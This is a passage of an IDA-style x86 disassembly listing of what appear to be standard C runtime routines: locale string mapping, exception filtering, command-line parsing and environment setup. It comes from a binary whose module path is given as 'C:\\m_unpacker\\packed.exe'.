and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 40h
test eax, eax
jz short loc_42EC1B
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
cmp edx, 1Ah
jnz short loc_42EC1B
xor eax, eax
jmp short loc_42EC3F
; ---------------------------------------------------------------------------
loc_42EC1B: ; CODE XREF: sub_42E9D0+23Aj
; sub_42E9D0+245j
call sub_429A90
mov dword ptr [eax], 1Ch
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42EC3F
; ---------------------------------------------------------------------------
loc_42EC36: ; CODE XREF: sub_42E9D0+1E0j
mov eax, [ebp+var_10]
sub eax, [ebp+var_420]
loc_42EC3F: ; CODE XREF: sub_42E9D0+21j
; sub_42E9D0+218j ...
mov esp, ebp
pop ebp
retn
sub_42E9D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EC50 proc near ; CODE XREF: sub_421620+11Ep
; sub_421620+16Fp ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D418
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4F341C, 0
jnz short loc_42ECD6
push 0
push 0
push 1
push offset dword_43D410
push 100h
push 0
call ds:dword_4F5330 ; LCMapStringW
test eax, eax
jz short loc_42ECA7
mov ds:dword_4F341C, 1
jmp short loc_42ECD6
; ---------------------------------------------------------------------------
loc_42ECA7: ; CODE XREF: sub_42EC50+49j
push 0
push 0
push 1
push offset dword_43D40C
push 100h
push 0
call ds:dword_4F5334 ; LCMapStringA
test eax, eax
jz short loc_42ECCF
mov ds:dword_4F341C, 2
jmp short loc_42ECD6
; ---------------------------------------------------------------------------
loc_42ECCF: ; CODE XREF: sub_42EC50+71j
xor eax, eax
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42ECD6: ; CODE XREF: sub_42EC50+2Dj
; sub_42EC50+55j ...
cmp [ebp+arg_C], 0
jle short loc_42ECEF
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_42EF60
add esp, 8
mov [ebp+arg_C], eax
loc_42ECEF: ; CODE XREF: sub_42EC50+8Aj
cmp ds:dword_4F341C, 2
jnz short loc_42ED1B
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F5334 ; LCMapStringA
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42ED1B: ; CODE XREF: sub_42EC50+A6j
cmp ds:dword_4F341C, 1
jnz loc_42EF3F
cmp [ebp+arg_18], 0
jnz short loc_42ED37
mov edx, ds:dword_4F3408
mov [ebp+arg_18], edx
loc_42ED37: ; CODE XREF: sub_42EC50+DCj
push 0
push 0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_1C]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_42ED6B
xor eax, eax
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42ED6B: ; CODE XREF: sub_42EC50+112j
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42EDAD
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42EDAD: ; CODE XREF: sub_42EC50+144j
cmp [ebp+var_24], 0
jnz short loc_42EDBA
xor eax, eax
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42EDBA: ; CODE XREF: sub_42EC50+161j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
test eax, eax
jnz short loc_42EDE1
xor eax, eax
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42EDE1: ; CODE XREF: sub_42EC50+188j
push 0
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F5330 ; LCMapStringW
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42EE0B
xor eax, eax
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42EE0B: ; CODE XREF: sub_42EC50+1B2j
mov edx, [ebp+arg_4]
and edx, 400h
test edx, edx
jz short loc_42EE5B
cmp [ebp+arg_14], 0
jz short loc_42EE56
mov eax, [ebp+var_28]
cmp eax, [ebp+arg_14]
jle short loc_42EE2D
xor eax, eax
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42EE2D: ; CODE XREF: sub_42EC50+1D4j
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F5330 ; LCMapStringW
test eax, eax
jnz short loc_42EE56
xor eax, eax
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42EE56: ; CODE XREF: sub_42EC50+1CCj
; sub_42EC50+1FDj
jmp loc_42EF3A
; ---------------------------------------------------------------------------
loc_42EE5B: ; CODE XREF: sub_42EC50+1C6j
mov ecx, [ebp+var_28]
mov [ebp+var_2C], ecx
mov [ebp+var_4], 1
mov eax, [ebp+var_2C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov edx, [ebp+var_34]
mov [ebp+var_20], edx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42EEA3
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42EEA3: ; CODE XREF: sub_42EC50+23Aj
cmp [ebp+var_20], 0
jnz short loc_42EEB0
xor eax, eax
jmp loc_42EF41
; ---------------------------------------------------------------------------
loc_42EEB0: ; CODE XREF: sub_42EC50+257j
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4F5330 ; LCMapStringW
test eax, eax
jnz short loc_42EED6
xor eax, eax
jmp short loc_42EF41
; ---------------------------------------------------------------------------
loc_42EED6: ; CODE XREF: sub_42EC50+280j
cmp [ebp+arg_14], 0
jnz short loc_42EF0A
push 0
push 0
push 0
push 0
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42EF08
xor eax, eax
jmp short loc_42EF41
; ---------------------------------------------------------------------------
loc_42EF08: ; CODE XREF: sub_42EC50+2B2j
jmp short loc_42EF3A
; ---------------------------------------------------------------------------
loc_42EF0A: ; CODE XREF: sub_42EC50+28Aj
push 0
push 0
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_18]
push ecx
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42EF3A
xor eax, eax
jmp short loc_42EF41
; ---------------------------------------------------------------------------
loc_42EF3A: ; CODE XREF: sub_42EC50:loc_42EE56j
; sub_42EC50:loc_42EF08j ...
mov eax, [ebp+var_28]
jmp short loc_42EF41
; ---------------------------------------------------------------------------
loc_42EF3F: ; CODE XREF: sub_42EC50+D2j
xor eax, eax
loc_42EF41: ; CODE XREF: sub_42EC50+81j
; sub_42EC50+C6j ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42EC50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EF60 proc near ; CODE XREF: sub_42EC50+94p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_42EF72: ; CODE XREF: sub_42EF60+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_42EF97
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42EF97
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_42EF72
; ---------------------------------------------------------------------------
loc_42EF97: ; CODE XREF: sub_42EF60+20j
; sub_42EF60+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42EFA9
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_42EFAC
; ---------------------------------------------------------------------------
loc_42EFA9: ; CODE XREF: sub_42EF60+3Fj
mov eax, [ebp+arg_4]
loc_42EFAC: ; CODE XREF: sub_42EF60+47j
mov esp, ebp
pop ebp
retn
sub_42EF60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EFB0 proc near ; CODE XREF: _0:00422244p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
call sub_428EE0
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov ecx, [eax+50h]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42F170
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_42EFE3
mov eax, [ebp+var_10]
cmp dword ptr [eax+8], 0
jnz short loc_42EFF2
loc_42EFE3: ; CODE XREF: sub_42EFB0+28j
mov ecx, [ebp+arg_4]
push ecx
call ds:dword_4F532C ; UnhandledExceptionFilter
jmp loc_42F16A
; ---------------------------------------------------------------------------
loc_42EFF2: ; CODE XREF: sub_42EFB0+31j
mov edx, [ebp+var_10]
cmp dword ptr [edx+8], 5
jnz short loc_42F00F
mov eax, [ebp+var_10]
mov dword ptr [eax+8], 0
mov eax, 1
jmp loc_42F16A
; ---------------------------------------------------------------------------
loc_42F00F: ; CODE XREF: sub_42EFB0+49j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+8], 1
jnz short loc_42F020
or eax, 0FFFFFFFFh
jmp loc_42F16A
; ---------------------------------------------------------------------------
loc_42F020: ; CODE XREF: sub_42EFB0+66j
mov edx, [ebp+var_10]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+54h]
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_4]
mov [eax+54h], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx+4], 8
jnz loc_42F147
mov eax, ds:dword_454380
mov [ebp+var_14], eax
jmp short loc_42F05B
; ---------------------------------------------------------------------------
loc_42F052: ; CODE XREF: sub_42EFB0+D0j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_42F05B: ; CODE XREF: sub_42EFB0+A0j
mov edx, ds:dword_454380
add edx, ds:dword_454384
cmp [ebp+var_14], edx
jge short loc_42F082
mov eax, [ebp+var_14]
imul eax, 0Ch
mov ecx, [ebp+var_8]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_42F052
; ---------------------------------------------------------------------------
loc_42F082: ; CODE XREF: sub_42EFB0+BAj
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C000008Eh
jnz short loc_42F0A5
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 83h
jmp loc_42F12D
; ---------------------------------------------------------------------------
loc_42F0A5: ; CODE XREF: sub_42EFB0+E4j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C0000090h
jnz short loc_42F0BC
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 81h
jmp short loc_42F12D
; ---------------------------------------------------------------------------
loc_42F0BC: ; CODE XREF: sub_42EFB0+FEj
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C0000091h
jnz short loc_42F0D3
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 84h
jmp short loc_42F12D
; ---------------------------------------------------------------------------
loc_42F0D3: ; CODE XREF: sub_42EFB0+115j
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000093h
jnz short loc_42F0EA
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 85h
jmp short loc_42F12D
; ---------------------------------------------------------------------------
loc_42F0EA: ; CODE XREF: sub_42EFB0+12Cj
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C000008Dh
jnz short loc_42F101
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 82h
jmp short loc_42F12D
; ---------------------------------------------------------------------------
loc_42F101: ; CODE XREF: sub_42EFB0+143j
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C000008Fh
jnz short loc_42F118
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 86h
jmp short loc_42F12D
; ---------------------------------------------------------------------------
loc_42F118: ; CODE XREF: sub_42EFB0+15Aj
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000092h
jnz short loc_42F12D
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 8Ah
loc_42F12D: ; CODE XREF: sub_42EFB0+F0j
; sub_42EFB0+10Aj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_4]
add esp, 8
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+58h], ecx
jmp short loc_42F15E
; ---------------------------------------------------------------------------
loc_42F147: ; CODE XREF: sub_42EFB0+92j
mov edx, [ebp+var_10]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_10]
mov ecx, [eax+4]
push ecx
call [ebp+var_4]
add esp, 4
loc_42F15E: ; CODE XREF: sub_42EFB0+195j
mov edx, [ebp+var_8]
mov eax, [ebp+var_18]
mov [edx+54h], eax
or eax, 0FFFFFFFFh
loc_42F16A: ; CODE XREF: sub_42EFB0+3Dj
; sub_42EFB0+5Aj ...
mov esp, ebp
pop ebp
retn
sub_42EFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F170 proc near ; CODE XREF: sub_42EFB0+19p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_42F17A: ; CODE XREF: sub_42F170+30j
mov ecx, [ebp+var_4]
mov edx, [ecx]
cmp edx, [ebp+arg_0]
jz short loc_42F1A2
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, ds:dword_45438C
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_42F1A2
jmp short loc_42F17A
; ---------------------------------------------------------------------------
loc_42F1A2: ; CODE XREF: sub_42F170+12j
; sub_42F170+2Ej
mov eax, ds:dword_45438C
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_42F1BE
mov edx, [ebp+var_4]
mov eax, [edx]
cmp eax, [ebp+arg_0]
jz short loc_42F1C2
loc_42F1BE: ; CODE XREF: sub_42F170+42j
xor eax, eax
jmp short loc_42F1C5
; ---------------------------------------------------------------------------
loc_42F1C2: ; CODE XREF: sub_42F170+4Cj
mov eax, [ebp+var_4]
loc_42F1C5: ; CODE XREF: sub_42F170+50j
mov esp, ebp
pop ebp
retn
sub_42F170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F1D0 proc near ; CODE XREF: _0:004221E8p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F4A2C, 0
jnz short loc_42F1E2
call sub_429890
loc_42F1E2: ; CODE XREF: sub_42F1D0+Bj
mov eax, ds:dword_4F4A24
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jnz short loc_42F24C
loc_42F1F6: ; CODE XREF: sub_42F1D0:loc_42F233j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jz short loc_42F235
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42F235
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
push eax
call sub_435D50
add esp, 4
test eax, eax
jz short loc_42F233
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42F233: ; CODE XREF: sub_42F1D0+58j
jmp short loc_42F1F6
; ---------------------------------------------------------------------------
loc_42F235: ; CODE XREF: sub_42F1D0+39j
; sub_42F1D0+44j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 22h
jnz short loc_42F24A
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42F24A: ; CODE XREF: sub_42F1D0+6Fj
jmp short loc_42F263
; ---------------------------------------------------------------------------
loc_42F24C: ; CODE XREF: sub_42F1D0+24j
; sub_42F1D0+91j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 20h
jle short loc_42F263
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42F24C
; ---------------------------------------------------------------------------
loc_42F263: ; CODE XREF: sub_42F1D0:loc_42F24Aj
; sub_42F1D0+86j ...
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_42F285
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 20h
jg short loc_42F285
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_42F263
; ---------------------------------------------------------------------------
loc_42F285: ; CODE XREF: sub_42F1D0+9Cj
; sub_42F1D0+A8j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42F1D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F290 proc near ; CODE XREF: _0:004221CDp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
cmp ds:dword_4F4A2C, 0
jnz short loc_42F2A4
call sub_429890
loc_42F2A4: ; CODE XREF: sub_42F290+Dj
mov [ebp+var_8], 0
mov eax, ds:dword_4F3360
mov [ebp+var_4], eax
loc_42F2B3: ; CODE XREF: sub_42F290+57j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42F2E9
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 3Dh
jz short loc_42F2D1
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_42F2D1: ; CODE XREF: sub_42F290+36j
mov eax, [ebp+var_4]
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+1]
mov [ebp+var_4], edx
jmp short loc_42F2B3
; ---------------------------------------------------------------------------
loc_42F2E9: ; CODE XREF: sub_42F290+2Bj
push 6Dh
push offset dword_43D430
push 2
mov eax, [ebp+var_8]
lea ecx, ds:4[eax*4]
push ecx
call sub_41BE70
add esp, 10h
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
mov ds:dword_4F3314, edx
cmp ds:dword_4F3314, 0
jnz short loc_42F324
push 9
call sub_422270
add esp, 4
loc_42F324: ; CODE XREF: sub_42F290+88j
mov eax, ds:dword_4F3360
mov [ebp+var_4], eax
jmp short loc_42F337
; ---------------------------------------------------------------------------
loc_42F32E: ; CODE XREF: sub_42F290:loc_42F3A5j
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
mov [ebp+var_4], ecx
loc_42F337: ; CODE XREF: sub_42F290+9Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42F3A7
mov ecx, [ebp+var_4]
push ecx
call sub_41BC70
add esp, 4
add eax, 1
mov [ebp+var_10], eax
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 3Dh
jz short loc_42F3A5
push 79h
push offset dword_43D430
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_41BE70
add esp, 10h
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jnz short loc_42F38A
push 9
call sub_422270
add esp, 4
loc_42F38A: ; CODE XREF: sub_42F290+EEj
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_C]
mov eax, [edx]
push eax
call sub_41F620
add esp, 8
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
loc_42F3A5: ; CODE XREF: sub_42F290+CCj
jmp short loc_42F32E
; ---------------------------------------------------------------------------
loc_42F3A7: ; CODE XREF: sub_42F290+AFj
push 2
mov edx, ds:dword_4F3360
push edx
call sub_41CA10
add esp, 8
mov ds:dword_4F3360, 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov ds:dword_4F4A28, 1
mov esp, ebp
pop ebp
retn
sub_42F290 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F3E0 proc near ; CODE XREF: _0:004221C8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
cmp ds:dword_4F4A2C, 0
jnz short loc_42F3F4
call sub_429890
loc_42F3F4: ; CODE XREF: sub_42F3E0+Dj
push 104h
push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 0
call ds:off_4F5344
mov ds:off_4F3324, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
mov eax, ds:dword_4F4A24
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42F427
mov edx, ds:off_4F3324
mov [ebp+var_14], edx
jmp short loc_42F42F
; ---------------------------------------------------------------------------
loc_42F427: ; CODE XREF: sub_42F3E0+3Aj
mov eax, ds:dword_4F4A24
mov [ebp+var_14], eax
loc_42F42F: ; CODE XREF: sub_42F3E0+45j
mov ecx, [ebp+var_14]
mov [ebp+var_10], ecx
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
push 0
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_42F4C0
add esp, 14h
push 80h
push offset dword_43D43C
push 2
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*4]
push ecx
call sub_41BE70
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42F47E
push 8
call sub_422270
add esp, 4
loc_42F47E: ; CODE XREF: sub_42F3E0+92j
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
lea eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_10]
push edx
call sub_42F4C0
add esp, 14h
mov eax, [ebp+var_C]
sub eax, 1
mov ds:dword_4F3308, eax
mov ecx, [ebp+var_8]
mov ds:dword_4F330C, ecx
mov esp, ebp
pop ebp
retn
sub_42F3E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F4C0 proc near ; CODE XREF: sub_42F3E0+65p
; sub_42F3E0+B8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_10]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 1
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+arg_4], 0
jz short loc_42F4F5
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov [eax], ecx
mov edx, [ebp+arg_4]
add edx, 4
mov [ebp+arg_4], edx
loc_42F4F5: ; CODE XREF: sub_42F4C0+22j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz loc_42F5CD
loc_42F504: ; CODE XREF: sub_42F4C0:loc_42F58Dj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jz short loc_42F592
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42F592
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
xor eax, eax
mov al, ds:byte_4F38E1[edx]
and eax, 4
test eax, eax
jz short loc_42F567
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_42F567
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42F567: ; CODE XREF: sub_42F4C0+76j
; sub_42F4C0+89j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42F58D
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42F58D: ; CODE XREF: sub_42F4C0+B8j
jmp loc_42F504
; ---------------------------------------------------------------------------
loc_42F592: ; CODE XREF: sub_42F4C0+56j
; sub_42F4C0+60j
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_42F5B4
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_42F5B4: ; CODE XREF: sub_42F4C0+E3j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_42F5C8
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42F5C8: ; CODE XREF: sub_42F4C0+FDj
jmp loc_42F69C
; ---------------------------------------------------------------------------
loc_42F5CD: ; CODE XREF: sub_42F4C0+3Ej
; sub_42F4C0+1B1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42F5F3
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42F5F3: ; CODE XREF: sub_42F4C0+11Ej
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
and ecx, 0FFh
xor edx, edx
mov dl, ds:byte_4F38E1[ecx]
and edx, 4
